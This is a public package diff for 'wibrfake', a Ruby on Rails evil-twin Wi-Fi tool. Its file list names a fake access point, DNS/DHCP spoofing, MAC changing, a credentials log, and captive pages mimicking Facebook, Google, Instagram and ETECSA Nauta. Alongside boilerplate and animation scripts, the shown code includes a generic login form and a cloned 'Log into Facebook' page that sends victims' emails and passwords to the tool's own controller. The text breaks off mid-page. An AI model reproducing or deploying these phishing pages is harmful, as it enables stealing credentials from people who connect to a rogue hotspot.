wibrfake-brk 0.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/.dockerignore +48 -0
- data/.gitattributes +19 -0
- data/.github/dependabot.yml +12 -0
- data/.github/workflows/ci.yml +90 -0
- data/.rubocop.yml +8 -0
- data/.ruby-version +1 -0
- data/Dockerfile +69 -0
- data/Gemfile +68 -0
- data/README.md +188 -0
- data/Rakefile +6 -0
- data/app/assets/config/manifest.js +5 -0
- data/app/assets/images/.keep +0 -0
- data/app/assets/images/2024-12-30-07:58:34-screenshot.png +0 -0
- data/app/assets/images/facebook/facebook-logo.svg +3 -0
- data/app/assets/images/google/googlelogo_color_272x92dp.png +0 -0
- data/app/assets/images/instagram/app-store.png +0 -0
- data/app/assets/images/instagram/google-play.png +0 -0
- data/app/assets/images/instagram/instagram-logo.png +0 -0
- data/app/assets/images/instagram/screenshot1.png +0 -0
- data/app/assets/images/instagram/screenshot2.png +0 -0
- data/app/assets/images/instagram/screenshot3.png +0 -0
- data/app/assets/images/instagram/screenshot4.png +0 -0
- data/app/assets/images/nauta_etecsa/CUBADEBATE.jpg +0 -0
- data/app/assets/images/nauta_etecsa/CUBAEDUCA.jpg +0 -0
- data/app/assets/images/nauta_etecsa/CUBARTE.jpg +0 -0
- data/app/assets/images/nauta_etecsa/CUBASI.jpg +0 -0
- data/app/assets/images/nauta_etecsa/ECURED.jpg +0 -0
- data/app/assets/images/nauta_etecsa/OFERTAS.jpg +0 -0
- data/app/assets/images/nauta_etecsa/PAPELETA.jpg +0 -0
- data/app/assets/images/nauta_etecsa/contenedor_bg.jpg +0 -0
- data/app/assets/images/nauta_etecsa/etecsa.jpg +0 -0
- data/app/assets/images/nauta_etecsa/nauta_wifi.jpg +0 -0
- data/app/assets/images/nauta_hogar/CUBADEBATE.jpg +0 -0
- data/app/assets/images/nauta_hogar/CUBAEDUCA.jpg +0 -0
- data/app/assets/images/nauta_hogar/CUBARTE.jpg +0 -0
- data/app/assets/images/nauta_hogar/CUBASI.jpg +0 -0
- data/app/assets/images/nauta_hogar/ECURED.jpg +0 -0
- data/app/assets/images/nauta_hogar/OFERTAS.jpg +0 -0
- data/app/assets/images/nauta_hogar/PAPELETA.jpg +0 -0
- data/app/assets/images/nauta_hogar/banner_hogar.png +0 -0
- data/app/assets/images/wibrfake/Breaker-Wallpaper1.jpg +0 -0
- data/app/assets/images/wibrfake/mac-list-parameter.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-100x100.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-32x32.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-48x48.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-apfake-on.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-apfake-set-basic.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-apfake-show.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-help.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-hostpot.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-init.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-init2.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-login-basic.jpg +0 -0
- data/app/assets/images/wibrfake/wibrfake-mac-list.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-mac-ramset-oui.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-mac-ramset.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-mac-set.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-mac-show.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-need-signin.jpg +0 -0
- data/app/assets/images/wibrfake/wibrfake-session-active.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-session-init.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-session-list.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-session-new.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-session-rename.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-session-save.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-web-server-apfake.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-web-server-on.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-web-server-show.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-wkdump-loaded.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-wkdump.png +0 -0
- data/app/assets/images/wibrfake/wibrfake.png +0 -0
- data/app/assets/stylesheets/application.css +15 -0
- data/app/assets/stylesheets/basic/page_basic.css +0 -0
- data/app/assets/stylesheets/facebook/page_facebook.css +93 -0
- data/app/assets/stylesheets/google/page_google.css +137 -0
- data/app/assets/stylesheets/instagram/page_instagram.css +94 -0
- data/app/assets/stylesheets/nauta_etecsa/page_nauta.css +325 -0
- data/app/assets/stylesheets/nauta_hogar/page_nauta.css +469 -0
- data/app/assets/stylesheets/wibrfake/page_wibrfake.css +1181 -0
- data/app/assets/stylesheets/wibrfake/page_wibrfake_about.css +486 -0
- data/app/channels/application_cable/channel.rb +4 -0
- data/app/channels/application_cable/connection.rb +4 -0
- data/app/controllers/application_controller.rb +15 -0
- data/app/controllers/concerns/.keep +0 -0
- data/app/controllers/sessions_controller.rb +111 -0
- data/app/helpers/application_helper.rb +2 -0
- data/app/helpers/sessions_helper.rb +2 -0
- data/app/javascript/application.js +3 -0
- data/app/javascript/bootstrap.bundle.min.js +7 -0
- data/app/javascript/controllers/application.js +9 -0
- data/app/javascript/controllers/hello_controller.js +7 -0
- data/app/javascript/controllers/index.js +4 -0
- data/app/javascript/google/page_google.js +50 -0
- data/app/javascript/incorrect3.js +29 -0
- data/app/javascript/page_wibrfake.js +50 -0
- data/app/javascript/page_wibrfake_about.js +147 -0
- data/app/jobs/application_job.rb +7 -0
- data/app/mailers/application_mailer.rb +4 -0
- data/app/models/application_record.rb +3 -0
- data/app/models/concerns/.keep +0 -0
- data/app/models/user.rb +6 -0
- data/app/views/layouts/application.html.erb +33 -0
- data/app/views/layouts/mailer.html.erb +13 -0
- data/app/views/layouts/mailer.text.erb +1 -0
- data/app/views/pwa/manifest.json.erb +22 -0
- data/app/views/pwa/service-worker.js +26 -0
- data/app/views/sessions/basic/basic.html.erb +21 -0
- data/app/views/sessions/facebook/facebook.html.erb +132 -0
- data/app/views/sessions/google/google.html.erb +72 -0
- data/app/views/sessions/index.html.erb +11 -0
- data/app/views/sessions/instagram/instagram.html.erb +69 -0
- data/app/views/sessions/nauta_etecsa/nauta_etecsa.html.erb +97 -0
- data/app/views/sessions/nauta_hogar/nauta_hogar.html.erb +135 -0
- data/app/views/sessions/wibrfake/about/about.html.erb +164 -0
- data/app/views/sessions/wibrfake/wibrfake.html.erb +417 -0
- data/bin/.names.rb.swp +0 -0
- data/bin/brakeman +7 -0
- data/bin/bundle +114 -0
- data/bin/docker-entrypoint +13 -0
- data/bin/google.wkdump +3 -0
- data/bin/importmap +4 -0
- data/bin/rails +4 -0
- data/bin/rake +4 -0
- data/bin/rubocop +8 -0
- data/bin/setup +37 -0
- data/bin/wibrfake +20 -0
- data/config/application.rb +26 -0
- data/config/boot.rb +4 -0
- data/config/cable.yml +10 -0
- data/config/credentials.yml.enc +1 -0
- data/config/database.yml +16 -0
- data/config/environment.rb +5 -0
- data/config/environments/development.rb +85 -0
- data/config/environments/production.rb +105 -0
- data/config/environments/test.rb +67 -0
- data/config/icons/application-x-wkdump.xml +13 -0
- data/config/icons/hicolor/16x16/mimetypes/application-x-wkdump.png +0 -0
- data/config/icons/hicolor/32x32/mimetypes/application-x-wkdump.png +0 -0
- data/config/icons/hicolor/48x48/mimetypes/application-x-wkdump.png +0 -0
- data/config/icons/hicolor/icon-theme.cache +0 -0
- data/config/icons/hicolor/index.theme +20 -0
- data/config/icons/wkdump.desktop +5 -0
- data/config/importmap.rb +7 -0
- data/config/initializers/assets.rb +12 -0
- data/config/initializers/content_security_policy.rb +25 -0
- data/config/initializers/devise.rb +313 -0
- data/config/initializers/filter_parameter_logging.rb +8 -0
- data/config/initializers/inflections.rb +16 -0
- data/config/initializers/permissions_policy.rb +13 -0
- data/config/locales/devise.en.yml +65 -0
- data/config/locales/en.yml +31 -0
- data/config/puma.rb +35 -0
- data/config/routes.rb +12 -0
- data/config/storage.yml +34 -0
- data/config.ru +6 -0
- data/db/development.sqlite3 +0 -0
- data/db/schema.rb +14 -0
- data/ext/wibrfake/extconf.rb +3 -0
- data/ext/wibrfake/wibrfake.h +0 -0
- data/images/ouilist.png +0 -0
- data/images/wibrfakehelp.png +0 -0
- data/images/wibrfakeinit.png +0 -0
- data/lib/assets/.keep +0 -0
- data/lib/tasks/.keep +0 -0
- data/lib/wibrfake/Config/ipaddr.rb +71 -0
- data/lib/wibrfake/Config/options.rb +98 -0
- data/lib/wibrfake/Config/security_wpa.rb +43 -0
- data/lib/wibrfake/DataBase/howuis.db +0 -0
- data/lib/wibrfake/DataBase/ouis.db +0 -0
- data/lib/wibrfake/DataBase/ouis.rb +24 -0
- data/lib/wibrfake/DataBase/rename.rb +15 -0
- data/lib/wibrfake/DataBase/show.rb +18 -0
- data/lib/wibrfake/Dnsmasq/dhcp.rb +149 -0
- data/lib/wibrfake/Dnsmasq/dhcp_prueba.rb +135 -0
- data/lib/wibrfake/Dnsmasq/dns.rb +34 -0
- data/lib/wibrfake/Dnsmasq/dns_prueba.rb +36 -0
- data/lib/wibrfake/Dnsmasq/dnsmasq.rb +33 -0
- data/lib/wibrfake/Listing/apfake.rb +28 -0
- data/lib/wibrfake/Listing/clients.rb +76 -0
- data/lib/wibrfake/Listing/ouis.rb +53 -0
- data/lib/wibrfake/Listing/process.rb +14 -0
- data/lib/wibrfake/Listing/sessions.rb +47 -0
- data/lib/wibrfake/Listing/web_server.rb +17 -0
- data/lib/wibrfake/Listing/wireless.rb +30 -0
- data/lib/wibrfake/Logs/credentials.log +59 -0
- data/lib/wibrfake/NetworkInterface/ip-routing.rb +99 -0
- data/lib/wibrfake/NetworkInterface/mac.rb +114 -0
- data/lib/wibrfake/NetworkInterface/monitor.rb +44 -0
- data/lib/wibrfake/NetworkInterface/ouis.db +0 -0
- data/lib/wibrfake/Process/id.rb +11 -0
- data/lib/wibrfake/Process/pids.log +5 -0
- data/lib/wibrfake/Process/pkill.rb +124 -0
- data/lib/wibrfake/Process/processes.rb +76 -0
- data/lib/wibrfake/Rails/login.rb +20 -0
- data/lib/wibrfake/Rails/routes.rb +76 -0
- data/lib/wibrfake/Rails/service.rb +58 -0
- data/lib/wibrfake/Rails/service_usage.rb +46 -0
- data/lib/wibrfake/Sessions/session.rb +188 -0
- data/lib/wibrfake/String/string.rb +109 -0
- data/lib/wibrfake/Tmp/config.yml +1 -0
- data/lib/wibrfake/config.rb +24 -0
- data/lib/wibrfake/help.rb +107 -0
- data/lib/wibrfake/optionpr.rb +68 -0
- data/lib/wibrfake/run.rb +9 -0
- data/lib/wibrfake/ty/apld.rb +110 -0
- data/lib/wibrfake/ty/prompt/answers_collector.rb +78 -0
- data/lib/wibrfake/ty/prompt/block_paginator.rb +59 -0
- data/lib/wibrfake/ty/prompt/choice.rb +147 -0
- data/lib/wibrfake/ty/prompt/choices.rb +129 -0
- data/lib/wibrfake/ty/prompt/confirm_question.rb +158 -0
- data/lib/wibrfake/ty/prompt/const.rb +17 -0
- data/lib/wibrfake/ty/prompt/converter_dsl.rb +21 -0
- data/lib/wibrfake/ty/prompt/converter_registry.rb +69 -0
- data/lib/wibrfake/ty/prompt/converters.rb +182 -0
- data/lib/wibrfake/ty/prompt/distance.rb +49 -0
- data/lib/wibrfake/ty/prompt/enum_list.rb +433 -0
- data/lib/wibrfake/ty/prompt/errors.rb +31 -0
- data/lib/wibrfake/ty/prompt/evaluator.rb +29 -0
- data/lib/wibrfake/ty/prompt/expander.rb +321 -0
- data/lib/wibrfake/ty/prompt/keypress.rb +98 -0
- data/lib/wibrfake/ty/prompt/list.rb +589 -0
- data/lib/wibrfake/ty/prompt/mask_question.rb +96 -0
- data/lib/wibrfake/ty/prompt/multi_list.rb +224 -0
- data/lib/wibrfake/ty/prompt/multiline.rb +72 -0
- data/lib/wibrfake/ty/prompt/paginator.rb +111 -0
- data/lib/wibrfake/ty/prompt/question/checks.rb +105 -0
- data/lib/wibrfake/ty/prompt/question/modifier.rb +96 -0
- data/lib/wibrfake/ty/prompt/question/validation.rb +72 -0
- data/lib/wibrfake/ty/prompt/question.rb +391 -0
- data/lib/wibrfake/ty/prompt/result.rb +42 -0
- data/lib/wibrfake/ty/prompt/selected_choices.rb +77 -0
- data/lib/wibrfake/ty/prompt/slider.rb +286 -0
- data/lib/wibrfake/ty/prompt/statement.rb +55 -0
- data/lib/wibrfake/ty/prompt/suggestion.rb +113 -0
- data/lib/wibrfake/ty/prompt/symbols.rb +89 -0
- data/lib/wibrfake/ty/prompt/test.rb +36 -0
- data/lib/wibrfake/ty/prompt/timer.rb +75 -0
- data/lib/wibrfake/ty/prompt/utils.rb +42 -0
- data/lib/wibrfake/ty/prompt/version.rb +7 -0
- data/lib/wibrfake/ty/prompt.rb +589 -0
- data/lib/wibrfake/version.rb +5 -0
- data/lib/wibrfake/wibrfake_cli.rb +683 -0
- data/log/.keep +0 -0
- data/pruebas/daemon1.pid +1 -0
- data/pruebas/daemon2.pid +1 -0
- data/pruebas/daemons.rb +44 -0
- data/public/404.html +67 -0
- data/public/406-unsupported-browser.html +66 -0
- data/public/422.html +67 -0
- data/public/500.html +66 -0
- data/public/icon.png +0 -0
- data/public/icon.svg +3 -0
- data/public/robots.txt +1 -0
- data/storage/.keep +0 -0
- data/test/application_system_test_case.rb +5 -0
- data/test/channels/application_cable/connection_test.rb +13 -0
- data/test/controllers/.keep +0 -0
- data/test/controllers/sessions_controller_test.rb +7 -0
- data/test/fixtures/files/.keep +0 -0
- data/test/fixtures/users.yml +11 -0
- data/test/helpers/.keep +0 -0
- data/test/integration/.keep +0 -0
- data/test/mailers/.keep +0 -0
- data/test/models/.keep +0 -0
- data/test/models/user_test.rb +7 -0
- data/test/system/.keep +0 -0
- data/test/test_helper.rb +15 -0
- data/tmp/.keep +0 -0
- data/tmp/pids/.keep +0 -0
- data/tmp/storage/.keep +0 -0
- data/vendor/.keep +0 -0
- data/vendor/javascript/.keep +0 -0
- data/wibrfake.gemspec +49 -0
- metadata +743 -0
@@ -0,0 +1,147 @@
|
|
1
|
+
document.addEventListener('DOMContentLoaded', function() {
|
2
|
+
// Intersection Observer for scroll animations
|
3
|
+
const observerOptions = {
|
4
|
+
threshold: 0.1,
|
5
|
+
rootMargin: '0px 0px -50px 0px'
|
6
|
+
};
|
7
|
+
|
8
|
+
const observer = new IntersectionObserver((entries) => {
|
9
|
+
entries.forEach(entry => {
|
10
|
+
if (entry.isIntersecting) {
|
11
|
+
entry.target.classList.add('animate-in');
|
12
|
+
observer.unobserve(entry.target);
|
13
|
+
}
|
14
|
+
});
|
15
|
+
}, observerOptions);
|
16
|
+
|
17
|
+
// Animate elements on scroll
|
18
|
+
document.querySelectorAll('.info-card, .feature-item, .team-member, .tech-item, .contact-item').forEach(element => {
|
19
|
+
element.style.opacity = '0';
|
20
|
+
element.style.transform = 'translateY(20px)';
|
21
|
+
observer.observe(element);
|
22
|
+
});
|
23
|
+
|
24
|
+
// Add animation class when elements become visible
|
25
|
+
document.querySelectorAll('.animate-on-scroll').forEach(element => {
|
26
|
+
observer.observe(element);
|
27
|
+
});
|
28
|
+
|
29
|
+
// Hover effects for feature items
|
30
|
+
document.querySelectorAll('.feature-item').forEach(item => {
|
31
|
+
item.addEventListener('mouseenter', () => {
|
32
|
+
item.querySelector('i').style.transform = 'scale(1.2) rotate(5deg)';
|
33
|
+
});
|
34
|
+
|
35
|
+
item.addEventListener('mouseleave', () => {
|
36
|
+
item.querySelector('i').style.transform = 'scale(1) rotate(0deg)';
|
37
|
+
});
|
38
|
+
});
|
39
|
+
|
40
|
+
// Team member card interactions
|
41
|
+
document.querySelectorAll('.team-member').forEach(member => {
|
42
|
+
member.addEventListener('mouseenter', () => {
|
43
|
+
member.querySelector('.member-avatar').style.transform = 'scale(1.1)';
|
44
|
+
member.querySelectorAll('.social-link').forEach((link, index) => {
|
45
|
+
setTimeout(() => {
|
46
|
+
link.style.transform = 'translateY(-5px)';
|
47
|
+
link.style.opacity = '1';
|
48
|
+
}, index * 100);
|
49
|
+
});
|
50
|
+
});
|
51
|
+
|
52
|
+
member.addEventListener('mouseleave', () => {
|
53
|
+
member.querySelector('.member-avatar').style.transform = 'scale(1)';
|
54
|
+
member.querySelectorAll('.social-link').forEach(link => {
|
55
|
+
link.style.transform = 'translateY(0)';
|
56
|
+
link.style.opacity = '0.7';
|
57
|
+
});
|
58
|
+
});
|
59
|
+
});
|
60
|
+
|
61
|
+
// Technology item interactions
|
62
|
+
document.querySelectorAll('.tech-item').forEach(item => {
|
63
|
+
item.addEventListener('mouseenter', () => {
|
64
|
+
item.querySelector('i').style.transform = 'scale(1.2)';
|
65
|
+
item.style.background = 'rgba(107, 95, 95, 0.15)';
|
66
|
+
});
|
67
|
+
|
68
|
+
item.addEventListener('mouseleave', () => {
|
69
|
+
item.querySelector('i').style.transform = 'scale(1)';
|
70
|
+
item.style.background = 'rgba(0, 0, 0, 0.2)';
|
71
|
+
});
|
72
|
+
});
|
73
|
+
|
74
|
+
// Contact item hover effects
|
75
|
+
document.querySelectorAll('.contact-item').forEach(item => {
|
76
|
+
item.addEventListener('mouseenter', () => {
|
77
|
+
item.querySelector('i').style.transform = 'rotate(15deg)';
|
78
|
+
});
|
79
|
+
|
80
|
+
item.addEventListener('mouseleave', () => {
|
81
|
+
item.querySelector('i').style.transform = 'rotate(0deg)';
|
82
|
+
});
|
83
|
+
});
|
84
|
+
|
85
|
+
// Add smooth transitions
|
86
|
+
document.querySelectorAll('i, a, button').forEach(element => {
|
87
|
+
element.style.transition = 'all 0.3s ease';
|
88
|
+
});
|
89
|
+
|
90
|
+
// Initialize elements with animations
|
91
|
+
function initializeAnimations() {
|
92
|
+
// Header animation
|
93
|
+
const header = document.querySelector('.about-header');
|
94
|
+
header.style.opacity = '0';
|
95
|
+
header.style.transform = 'translateY(-20px)';
|
96
|
+
|
97
|
+
setTimeout(() => {
|
98
|
+
header.style.transition = 'all 0.5s ease-out';
|
99
|
+
header.style.opacity = '1';
|
100
|
+
header.style.transform = 'translateY(0)';
|
101
|
+
}, 100);
|
102
|
+
|
103
|
+
// Stagger animations for features
|
104
|
+
document.querySelectorAll('.feature-item').forEach((item, index) => {
|
105
|
+
setTimeout(() => {
|
106
|
+
item.classList.add('animate-in');
|
107
|
+
}, 200 + (index * 100));
|
108
|
+
});
|
109
|
+
|
110
|
+
// Stagger animations for team members
|
111
|
+
document.querySelectorAll('.team-member').forEach((member, index) => {
|
112
|
+
setTimeout(() => {
|
113
|
+
member.classList.add('animate-in');
|
114
|
+
}, 400 + (index * 150));
|
115
|
+
});
|
116
|
+
|
117
|
+
// Stagger animations for tech items
|
118
|
+
document.querySelectorAll('.tech-item').forEach((item, index) => {
|
119
|
+
setTimeout(() => {
|
120
|
+
item.classList.add('animate-in');
|
121
|
+
}, 600 + (index * 100));
|
122
|
+
});
|
123
|
+
}
|
124
|
+
|
125
|
+
// Add CSS class for animations
|
126
|
+
const style = document.createElement('style');
|
127
|
+
style.textContent = `
|
128
|
+
.animate-in {
|
129
|
+
animation: fadeIn 0.5s ease-out forwards;
|
130
|
+
}
|
131
|
+
|
132
|
+
@keyframes fadeIn {
|
133
|
+
from {
|
134
|
+
opacity: 0;
|
135
|
+
transform: translateY(20px);
|
136
|
+
}
|
137
|
+
to {
|
138
|
+
opacity: 1;
|
139
|
+
transform: translateY(0);
|
140
|
+
}
|
141
|
+
}
|
142
|
+
`;
|
143
|
+
document.head.appendChild(style);
|
144
|
+
|
145
|
+
// Initialize animations
|
146
|
+
initializeAnimations();
|
147
|
+
});
|
@@ -0,0 +1,7 @@
|
|
1
|
+
class ApplicationJob < ActiveJob::Base
|
2
|
+
# Automatically retry jobs that encountered a deadlock
|
3
|
+
# retry_on ActiveRecord::Deadlocked
|
4
|
+
|
5
|
+
# Most jobs are safe to ignore if the underlying records are no longer available
|
6
|
+
# discard_on ActiveJob::DeserializationError
|
7
|
+
end
|
File without changes
|
data/app/models/user.rb
ADDED
@@ -0,0 +1,33 @@
|
|
1
|
+
<!DOCTYPE html>
|
2
|
+
<html>
|
3
|
+
<head>
|
4
|
+
<title><%= content_for(:title) || "Wibrfake" %></title>
|
5
|
+
<meta name="viewport" content="width=device-width,initial-scale=1">
|
6
|
+
<meta name="apple-mobile-web-app-capable" content="yes">
|
7
|
+
<%= csrf_meta_tags %>
|
8
|
+
<%= csp_meta_tag %>
|
9
|
+
|
10
|
+
<%= yield :head %>
|
11
|
+
|
12
|
+
<link rel="manifest" href="/manifest.json">
|
13
|
+
<link rel="icon" href="/icon.png" type="image/png">
|
14
|
+
<link rel="icon" href="/icon.svg" type="image/svg+xml">
|
15
|
+
<link rel="apple-touch-icon" href="/icon.png">
|
16
|
+
<%= javascript_importmap_tags %>
|
17
|
+
</head>
|
18
|
+
|
19
|
+
<body>
|
20
|
+
|
21
|
+
<% if content_for?(:stylesheet) %>
|
22
|
+
<%= yield :stylesheet %>
|
23
|
+
|
24
|
+
|
25
|
+
<% end %>
|
26
|
+
<% if content_for?(:javascript) %>
|
27
|
+
<%= yield :javascript %>
|
28
|
+
|
29
|
+
<% end %>
|
30
|
+
<%= yield %>
|
31
|
+
|
32
|
+
</body>
|
33
|
+
</html>
|
@@ -0,0 +1 @@
|
|
1
|
+
<%= yield %>
|
@@ -0,0 +1,22 @@
|
|
1
|
+
{
|
2
|
+
"name": "Wibrfake",
|
3
|
+
"icons": [
|
4
|
+
{
|
5
|
+
"src": "/icon.png",
|
6
|
+
"type": "image/png",
|
7
|
+
"sizes": "512x512"
|
8
|
+
},
|
9
|
+
{
|
10
|
+
"src": "/icon.png",
|
11
|
+
"type": "image/png",
|
12
|
+
"sizes": "512x512",
|
13
|
+
"purpose": "maskable"
|
14
|
+
}
|
15
|
+
],
|
16
|
+
"start_url": "/",
|
17
|
+
"display": "standalone",
|
18
|
+
"scope": "/",
|
19
|
+
"description": "Wibrfake.",
|
20
|
+
"theme_color": "red",
|
21
|
+
"background_color": "red"
|
22
|
+
}
|
@@ -0,0 +1,26 @@
|
|
1
|
+
// Add a service worker for processing Web Push notifications:
|
2
|
+
//
|
3
|
+
// self.addEventListener("push", async (event) => {
|
4
|
+
// const { title, options } = await event.data.json()
|
5
|
+
// event.waitUntil(self.registration.showNotification(title, options))
|
6
|
+
// })
|
7
|
+
//
|
8
|
+
// self.addEventListener("notificationclick", function(event) {
|
9
|
+
// event.notification.close()
|
10
|
+
// event.waitUntil(
|
11
|
+
// clients.matchAll({ type: "window" }).then((clientList) => {
|
12
|
+
// for (let i = 0; i < clientList.length; i++) {
|
13
|
+
// let client = clientList[i]
|
14
|
+
// let clientPath = (new URL(client.url)).pathname
|
15
|
+
//
|
16
|
+
// if (clientPath == event.notification.data.path && "focus" in client) {
|
17
|
+
// return client.focus()
|
18
|
+
// }
|
19
|
+
// }
|
20
|
+
//
|
21
|
+
// if (clients.openWindow) {
|
22
|
+
// return clients.openWindow(event.notification.data.path)
|
23
|
+
// }
|
24
|
+
// })
|
25
|
+
// )
|
26
|
+
// })
|
@@ -0,0 +1,21 @@
|
|
1
|
+
<h2>Iniciar sesion en basic login<h2>
|
2
|
+
<% content_for :stylesheet do %>
|
3
|
+
<%= stylesheet_link_tag 'basic/page_basic' %>
|
4
|
+
<% end %>
|
5
|
+
|
6
|
+
<!-- Resto del HTML de la vista "basic" -->
|
7
|
+
<%= form_with url: basic_login_path, local: true do |f| %>
|
8
|
+
<div>
|
9
|
+
<%= f.label :username %>
|
10
|
+
<%= f.text_field :username, autofocus: true %>
|
11
|
+
</div>
|
12
|
+
|
13
|
+
<div>
|
14
|
+
<%= f.label :password %>
|
15
|
+
<%= f.password_field :password %>
|
16
|
+
</div>
|
17
|
+
|
18
|
+
<div id="iniciar-sesion">
|
19
|
+
<%= f.submit "Iniciar sesion" %>
|
20
|
+
</div>
|
21
|
+
<% end %>
|
@@ -0,0 +1,132 @@
|
|
1
|
+
<!DOCTYPE html>
|
2
|
+
<html lang="en" id="facebook" class="">
|
3
|
+
<head>
|
4
|
+
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
|
5
|
+
<meta charset="utf-8">
|
6
|
+
<meta name="referrer" content="origin-when-crossorigin" id="meta_referrer">
|
7
|
+
|
8
|
+
<script nonce="">
|
9
|
+
function envFlush(a) {
|
10
|
+
function b(b) {
|
11
|
+
for(var c in a) b[c] = a[c]
|
12
|
+
}
|
13
|
+
window.requireLazy ? window.requireLazy(["Env"], b) : (window.Env = window.Env || {}, b(window.Env))
|
14
|
+
}
|
15
|
+
envFlush({
|
16
|
+
"useTrustedTypes": false,
|
17
|
+
"isTrustedTypesReportOnly": false,
|
18
|
+
"ajaxpipe_token": "AXhHVkPn7xmjo49Ii3Q",
|
19
|
+
"stack_trace_limit": 30,
|
20
|
+
"timesliceBufferSize": 5000,
|
21
|
+
"show_invariant_decoder": false,
|
22
|
+
"compat_iframe_token": "AUWf1g3Hp9-C48ftLCiIqKSViyU",
|
23
|
+
"isCQuick": false,
|
24
|
+
"brsid": "7482526861462796748"
|
25
|
+
});
|
26
|
+
</script>
|
27
|
+
|
28
|
+
<script nonce="">
|
29
|
+
window.openDatabase && (window.openDatabase = function() { throw new Error() });
|
30
|
+
</script>
|
31
|
+
|
32
|
+
<script nonce="">
|
33
|
+
_btldr = {};
|
34
|
+
</script>
|
35
|
+
|
36
|
+
<!-- Más scripts y metadatos... -->
|
37
|
+
|
38
|
+
<title id="pageTitle">Log into Facebook</title>
|
39
|
+
<meta name="bingbot" content="noarchive">
|
40
|
+
<meta name="description" content="Log into Facebook to start sharing and connecting with your friends, family, and people you know.">
|
41
|
+
|
42
|
+
<!-- Open Graph tags -->
|
43
|
+
<meta property="og:site_name" content="Facebook">
|
44
|
+
<meta property="og:url" content="https://www.facebook.com/login.php/">
|
45
|
+
<meta property="og:locale" content="en_US">
|
46
|
+
|
47
|
+
<!-- Enlaces de recursos -->
|
48
|
+
<link rel="canonical" href="https://www.facebook.com/login/web/">
|
49
|
+
<link rel="icon" href="https://static.xx.fbcdn.net/rsrc.php/yx/r/e9sqr8WnkCf.ico">
|
50
|
+
|
51
|
+
<!-- Hojas de estilo -->
|
52
|
+
<% content_for :stylesheet do %>
|
53
|
+
<%= stylesheet_link_tag 'facebook/page_facebook' %>
|
54
|
+
<% end %>
|
55
|
+
<!-- Scripts -->
|
56
|
+
<script src="Log%20into%20Facebook_files/awtagErm_wi.js" data-bootloader-hash="bEx44LC" crossorigin="anonymous"></script>
|
57
|
+
|
58
|
+
<!-- Más scripts y configuraciones... -->
|
59
|
+
</head>
|
60
|
+
|
61
|
+
<body class="_39il _97vt _97vz _97v- _97v_ _97w2 _97w0 _9ax- _9ax_ _9ay1 UIPage_LoggedOut _-kb _605a b_c3pyn-ahh gecko x1 Locale_en_US cores-gte4 _19_u" dir="ltr">
|
62
|
+
<!-- Contenido principal -->
|
63
|
+
<div class="_li" id="u_0_0_N8">
|
64
|
+
<div id="globalContainer" class="uiContextualLayerParent">
|
65
|
+
<div class="fb_content clearfix" id="content" role="main">
|
66
|
+
<!-- Formulario de login -->
|
67
|
+
<div class="_4-u5 _30ny">
|
68
|
+
<div class="_97vy">
|
69
|
+
<%= image_tag 'facebook/facebook-logo.svg', class: '_97vu img', alt: 'WibrFake'%>
|
70
|
+
</div>
|
71
|
+
|
72
|
+
<div class="_4-u2 _1w1t _4-u8 _52jv">
|
73
|
+
<div class="_xku" id="header_block">
|
74
|
+
<span class="_97w1 _50f6">
|
75
|
+
<div class="_9axz">Log Into Facebook</div>
|
76
|
+
</span>
|
77
|
+
</div>
|
78
|
+
|
79
|
+
<div class="login_form_container">
|
80
|
+
<form class="form" id="login_form formulario" action="<%= url_for(controller: 'sessions', action: 'facebook_login') %>" method="post">
|
81
|
+
<!-- Campos del formulario -->
|
82
|
+
<input type="hidden" name="jazoest" value="21051" autocomplete="off">
|
83
|
+
<input type="hidden" name="lsd" value="AVrUjvEUkuc" autocomplete="off">
|
84
|
+
|
85
|
+
<div id="loginform">
|
86
|
+
<div class="clearfix _5466 _44mg" id="email_container">
|
87
|
+
<input type="text" class="inputtext _55r1 inputtext _1kbt"
|
88
|
+
name="email" id="email" placeholder="Email or phone number"
|
89
|
+
autofocus autocomplete="username" aria-label="Email or phone number">
|
90
|
+
</div>
|
91
|
+
|
92
|
+
<div class="clearfix _5466 _44mg">
|
93
|
+
<div class="_55r1 _1kbt">
|
94
|
+
<input type="password" class="inputtext _55r1 inputtext _9npi"
|
95
|
+
name="password" id="password" placeholder="Password"
|
96
|
+
autocomplete="current-password" aria-label="Password">
|
97
|
+
</div>
|
98
|
+
</div>
|
99
|
+
|
100
|
+
<div class="_xkt">
|
101
|
+
<button value="1" class="_42ft _4jy0 _52e0 _4jy6 _4jy1 selected _51sy"
|
102
|
+
id="loginbutton" name="login" type="submit">
|
103
|
+
Log In
|
104
|
+
</button>
|
105
|
+
</div>
|
106
|
+
|
107
|
+
|
108
|
+
</div>
|
109
|
+
</form>
|
110
|
+
</div>
|
111
|
+
</div>
|
112
|
+
</div>
|
113
|
+
</div>
|
114
|
+
|
115
|
+
<!-- Pie de página -->
|
116
|
+
<div class="_95ke _8opy">
|
117
|
+
<div id="pageFooter" data-referrer="page_footer">
|
118
|
+
</div>
|
119
|
+
</div>
|
120
|
+
</div>
|
121
|
+
</div>
|
122
|
+
|
123
|
+
<!-- Scripts finales -->
|
124
